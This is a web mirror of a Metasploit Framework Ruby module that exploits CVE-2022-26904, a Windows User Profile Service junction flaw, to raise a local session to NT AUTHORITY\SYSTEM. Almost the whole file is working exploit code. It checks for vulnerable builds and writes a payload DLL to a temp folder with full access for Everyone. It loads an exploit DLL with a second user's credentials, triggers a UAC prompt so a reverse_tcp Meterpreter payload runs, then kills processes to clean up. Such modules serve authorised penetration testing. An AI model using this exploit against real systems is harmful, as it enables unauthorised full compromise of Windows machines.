CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/cve_2022_26904_superprofile.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Exploit::FileDropper
11
include Msf::Post::Windows::FileInfo
12
include Msf::Post::Windows::Priv
13
include Msf::Post::Windows::Version
14
include Msf::Post::Windows::Process
15
include Msf::Post::Windows::ReflectiveDLLInjection
16
include Msf::Exploit::EXE # Needed for generate_payload_dll
17
prepend Msf::Exploit::Remote::AutoCheck
18
19
def initialize(info = {})
20
super(
21
update_info(
22
info,
23
{
24
'Name' => 'User Profile Arbitrary Junction Creation Local Privilege Elevation',
25
'Description' => %q{
26
The user profile service, identified as ProfSrv, is vulnerable to a local privilege elevation vulnerability
27
in its CreateDirectoryJunction() function due to a lack of appropriate checks on the directory structure of
28
the junctions it tries to link together.
29
30
Attackers can leverage this vulnerability to plant a malicious DLL in a system directory and then trigger a
31
UAC prompt to cause this DLL to be loaded and executed by ProfSrv as the NT AUTHORITY\SYSTEM user.
32
33
Note that this bug was originally identified as CVE-2021-34484 and was subsequently patched a second time as
34
CVE-2022-21919, however both patches were found to be insufficient. This bug is a patch bypass for
35
CVE-2022-21919 and at the time of publishing, has not yet been patched, though plans are in place to patch it
36
as CVE-2022-26904.
37
38
It is important to note that the credentials supplied for the second user to log in as in this exploit must be
39
those of a normal non-admin user and these credentials must also corralate with a user who has already logged in
40
at least once before. Additionally the current user running the exploit must have UAC set to the highest level,
41
aka "Always Notify Me When", in order for the code to be executed as NT AUTHORITY\SYSTEM. Note however that
42
"Always Notify Me When" is the default UAC setting on common Windows installs, so this would only affect instances
43
where this setting has been changed either manually or as part of the installation process.
44
},
45
'License' => MSF_LICENSE,
46
'Author' => [
47
'KLINIX5', # Aka Abdelhamid Naceri. Original PoC w Patch Bypass
48
'Grant Willcox' # Metasploit module + Tweaks to PoC
49
],
50
'Arch' => [ ARCH_X64 ],
51
'Platform' => 'win',
52
'SessionTypes' => [ 'meterpreter' ],
53
'Targets' => [
54
[ 'Windows 11', { 'Arch' => ARCH_X64 } ]
55
],
56
'References' => [
57
['CVE', '2022-26904'],
58
['URL', 'https://github.com/rmusser01/SuperProfile'], # Original link was at https://github.com/klinix5/SuperProfile/ but was taken down. This is a backup.
59
['URL', 'https://web.archive.org/web/20220222105232/https://halove23.blogspot.com/2022/02/blog-post.html'], # Original blog post
60
['URL', 'https://github.com/klinix5/ProfSvcLPE/blob/main/write-up.docx'] # Discussion of previous iterations of this bug providing insight into patched functionality.
61
],
62
'DisclosureDate' => '2022-03-17', # Date MSRC supplied CVE number, bug is not patched atm.
63
'DefaultTarget' => 0,
64
'Notes' => {
65
'Stability' => [ CRASH_SAFE, ],
66
'Reliability' => [ REPEATABLE_SESSION ], # Will need to double check this as this may require some updates to the code to get it to the point where it can be used repetitively.
67
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS, AUDIO_EFFECTS ]
68
},
69
'DefaultOptions' => {
70
'EXITFUNC' => 'thread',
71
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
72
'WfsDelay' => 300
73
},
74
'AKA' => [ 'SuperProfile' ]
75
}
76
)
77
)
78
79
register_options([
80
OptString.new('LOGINUSER', [true, 'Username of the secondary normal privileged user to log in as. Cannot be the same as the current user!']),
81
OptString.new('LOGINDOMAIN', [true, 'Domain that the LOGINUSER belongs to. Ensures we log into the right domain.', '.']),
82
OptString.new('LOGINPASSWORD', [true, 'Password for the secondary normal privileged user to log in as'])
83
])
84
end
85
86
def check
87
sysinfo_value = sysinfo['OS']
88
89
if sysinfo_value !~ /windows/i
90
# Non-Windows systems are definitely not affected.
91
return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
92
end
93
94
# see https://docs.microsoft.com/en-us/windows/release-information/
95
version = get_version_info
96
unless version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Win10_21H2) ||
97
version.build_number == Msf::WindowsVersion::Win11_21H2 ||
98
version.build_number == Msf::WindowsVersion::Server2022
99
return CheckCode::Safe('Target is not running a vulnerable version of Windows!')
100
end
101
102
print_status('Checking if PromptOnSecureDesktop mitigation applied...')
103
reg_key = 'HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System'
104
reg_val = 'PromptOnSecureDesktop'
105
begin
106
root_key, base_key = @session.sys.registry.splitkey(reg_key)
107
value = @session.sys.registry.query_value_direct(root_key, base_key, reg_val)
108
rescue Rex::Post::Meterpreter::RequestError => e
109
return CheckCode::Unknown("Was not able to retrieve the PromptOnSecureDesktop value. Error was #{e}")
110
end
111
112
if value.data == 0
113
return CheckCode::Safe('PromptOnSecureDesktop is set to 0, mitigation applied!')
114
elsif value.data == 1
115
print_good('PromptOnSecureDesktop is set to 1, should be safe to proceed!')
116
else
117
return CheckCode::Unknown("PromptOnSecureDesktop was not set to a known value, are you sure the target system isn't corrupted?")
118
end
119
120
# Build numbers taken from https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-26904, and associated
121
# security update information (e.g. https://support.microsoft.com/en-us/topic/windows-10-update-history-857b8ccb-71e4-49e5-b3f6-7073197d98fb,
122
# https://support.microsoft.com/en-us/topic/windows-11-version-21h2-update-history-a19cd327-b57f-44b9-84e0-26ced7109ba9)
123
if version.build_number == Msf::WindowsVersion::Win11_21H2 && version.revision_number.between?(0, 612)
124
return CheckCode::Appears('Vulnerable Windows 11 build detected!')
125
elsif version.build_number == Msf::WindowsVersion::Server2022 && version.revision_number.between?(0, 642)
126
return CheckCode::Appears('Vulnerable Windows Server 2022 build detected!')
127
elsif version.build_number == Msf::WindowsVersion::Win10_21H2 && version.revision_number.between?(0, 1644)
128
return CheckCode::Appears('Vulnerable Windows 10 21H2 build detected!')
129
elsif version.build_number == Msf::WindowsVersion::Win10_21H1 && version.revision_number.between?(0, 1644)
130
target_not_presently_supported
131
return CheckCode::Appears('Vulnerable Windows 10 21H1 build detected!')
132
elsif version.build_number == Msf::WindowsVersion::Win10_20H2 && version.revision_number.between?(0, 1644)
133
target_not_presently_supported
134
return CheckCode::Appears('Vulnerable Windows 10 20H2 build detected!')
135
elsif version.build_number == Msf::WindowsVersion::Win10_2004
136
target_not_presently_supported
137
return CheckCode::Appears('Vulnerable Windows 10 v2004 build detected!')
138
elsif version.build_number == Msf::WindowsVersion::Win10_1909 && version.revision_number.between?(0, 2211)
139
target_not_presently_supported
140
return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')
141
elsif version.build_number == Msf::WindowsVersion::Win10_1903
142
target_not_presently_supported
143
return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')
144
elsif version.build_number == Msf::WindowsVersion::Win10_1809 && version.revision_number.between?(0, 2802)
145
target_not_presently_supported
146
return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')
147
elsif version.build_number == Msf::WindowsVersion::Win10_1803
148
target_not_presently_supported
149
return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')
150
elsif version.build_number == Msf::WindowsVersion::Win10_1709
151
target_not_presently_supported
152
return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')
153
elsif version.build_number == Msf::WindowsVersion::Win10_1703
154
target_not_presently_supported
155
return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')
156
elsif version.build_number == Msf::WindowsVersion::Win10_1607 && version.revision_number.between?(0, 5065)
157
target_not_presently_supported
158
return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')
159
elsif version.build_number == Msf::WindowsVersion::Win10_1511
160
target_not_presently_supported
161
return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')
162
elsif version.build_number == Msf::WindowsVersion::Win10_1507
163
target_not_presently_supported
164
return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')
165
elsif version.build_number == Msf::WindowsVersion::Win81 # Includes Server 2012 R2
166
target_not_presently_supported
167
return CheckCode::Detected('Windows 8.1/Windows Server 2012 R2 build detected!')
168
elsif version.build_number == Msf::WindowsVersion::Win8 # Includes Server 2012
169
target_not_presently_supported
170
return CheckCode::Detected('Windows 8/Windows Server 2012 build detected!')
171
elsif version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) # Includes Server 2008 R2
172
target_not_presently_supported
173
return CheckCode::Detected('Windows 7/Windows Server 2008 R2 build detected!')
174
elsif version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Server2008_SP2_Update) # Includes Server 2008
175
target_not_presently_supported
176
return CheckCode::Detected('Windows Server 2008/Windows Server 2008 SP2 build detected!')
177
else
178
return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')
179
end
180
end
181
182
def target_not_presently_supported
183
print_warning('This target is not presently supported by this exploit. Support may be added in the future!')
184
print_warning('Attempts to exploit this target with this module WILL NOT WORK!')
185
end
186
187
def check_target_is_running_supported_windows_version
188
if !sysinfo['OS'].include?('Windows')
189
fail_with(Failure::NotVulnerable, 'Target is not running Windows!')
190
elsif get_version_info.build_number < Msf::WindowsVersion::Win10_InitialRelease
191
fail_with(Failure::NoTarget, 'Target is running Windows, but not a version this module supports! Bailing...')
192
end
193
end
194
195
def exploit
196
# Step 1: Check target environment is correct.
197
print_status('Step #1: Checking target environment...')
198
if is_system?
199
fail_with(Failure::None, 'Session is already elevated')
200
end
201
check_target_is_running_supported_windows_version
202
203
# Step 2: Generate the malicious DLL and upload it to a temp location.
204
payload_dll = generate_payload_dll
205
print_status("Payload DLL is #{payload_dll.length} bytes long")
206
temp_directory = session.sys.config.getenv('%TEMP%')
207
malicious_dll_location = "#{temp_directory}\\#{Rex::Text.rand_text_alpha(6..13)}.dll"
208
print_status("Writing malicious DLL to #{malicious_dll_location}")
209
write_file(malicious_dll_location, payload_dll)
210
211
print_status('Marking DLL as full access for Everyone so that there are no access issues as the secondary user...')
212
cmd_exec("icacls #{malicious_dll_location} /grant Everyone:(F)")
213
register_file_for_cleanup(malicious_dll_location)
214
215
# Register the directories we create for cleanup
216
register_dir_for_cleanup('C:\\Windows\\System32\\Narrator.exe.Local')
217
register_dir_for_cleanup('C:\\Users\\TEMP')
218
219
# Step 3: Load the main DLL that will trigger the exploit and conduct the arbitrary file copy.
220
print_status('Step #3: Loading the exploit DLL to run the main exploit...')
221
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-26904', 'CVE-2022-26904.dll')
222
library_path = ::File.expand_path(library_path)
223
224
dll_info_parameter = datastore['LOGINUSER'].to_s + '||' + datastore['LOGINDOMAIN'].to_s + '||' + datastore['LOGINPASSWORD'].to_s + '||' + malicious_dll_location.to_s
225
226
@session_obtained_bool = false
227
# invoke the exploit, passing in the address of the payload that
228
# we want invoked on successful exploitation, and the credentials for the second user.
229
execute_dll(library_path, dll_info_parameter)
230
231
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
232
print_warning("Cleanup may not occur automatically if you aren't using a Meterpreter payload so make sure to run the following command upon session completion:")
233
print_warning('taskkill /IM "consent.exe" /F || taskkill /IM "narrator.exe" /F || taskkill /IM "narratorquickstart.exe" /F || taskkill /IM "msiexec.exe" || rmdir /q /s C:\Users\TEMP || rmdir /q /s C:\Windows\System32\Narrator.exe.local')
234
print_warning('You may need to run this more than once to ensure these files are properly deleted and Narrator.exe actually closes!')
235
236
print_status('Sleeping for 60 seconds before trying to spawn UserAccountControlSettings.exe as a backup.')
237
print_status('If you get a shell back before this, feel free to CTRL+C once the shell has successfully returned.')
238
sleep(60)
239
if (@session_obtained_bool == false)
240
# Execute a command that requires elevation to cause the UAC prompt to appear. For some reason the DLL code itself
241
# triggering the UAC prompt won't work at times so this is the best way of solving this issue for cases where this happens.
242
begin
243
cmd_exec('UserAccountControlSettings.exe')
244
rescue Rex::TimeoutError
245
print_warning('Will need to get user to click on the flashing icon in the taskbar to open the UAC prompt and give us shells!')
246
end
247
end
248
end
249
250
def on_new_session(new_session)
251
@session_obtained_bool = true
252
old_session = @session
253
@session = new_session
254
if new_session.type == 'meterpreter'
255
consent_pids = pidof('consent.exe')
256
for id in consent_pids
257
@session.sys.process.kill(id)
258
end
259
sleep(5) # Needed as otherwise later folder deletion calls sometimes fail, and additional Narrator.exe processes
260
# can sometimes spawn a few seconds after we close consent.exe so we want to grab all of them at once.
261
narrator_pids = pidof('Narrator.exe')
262
for id in narrator_pids
263
@session.sys.process.kill(id)
264
end
265
narrator_pids = pidof('NarratorQuickStart.exe')
266
for id in narrator_pids
267
@session.sys.process.kill(id)
268
end
269
narrator_pids = pidof('msiexec.exe')
270
for id in narrator_pids
271
@session.sys.process.kill(id)
272
end
273
else
274
# If it is another session type such as shell or PowerShell we will need to execute the command
275
# normally using cmd_exec() to cleanup, as it doesn't seem we have a built in option to kill processes
276
# by name or PIDs as library functions for these session types.
277
cmd_exec('taskkill /IM "consent.exe" /F')
278
sleep(5)
279
cmd_exec('taskkill /IM "narrator.exe" /F')
280
cmd_exec('taskkill /IM "narratorquickstart.exe" /F')
281
cmd_exec('taskkill /IM "msiexec.exe" /F')
282
end
283
284
rm_rf('C:\\Windows\\System32\\Narrator.exe.local')
285
for _i in range(1..3)
286
rm_rf('C:\\Users\\TEMP') # Try deleting this 3 times just to be sure.
287
end
288
@session = old_session
289
super
290
end
291
end
292
293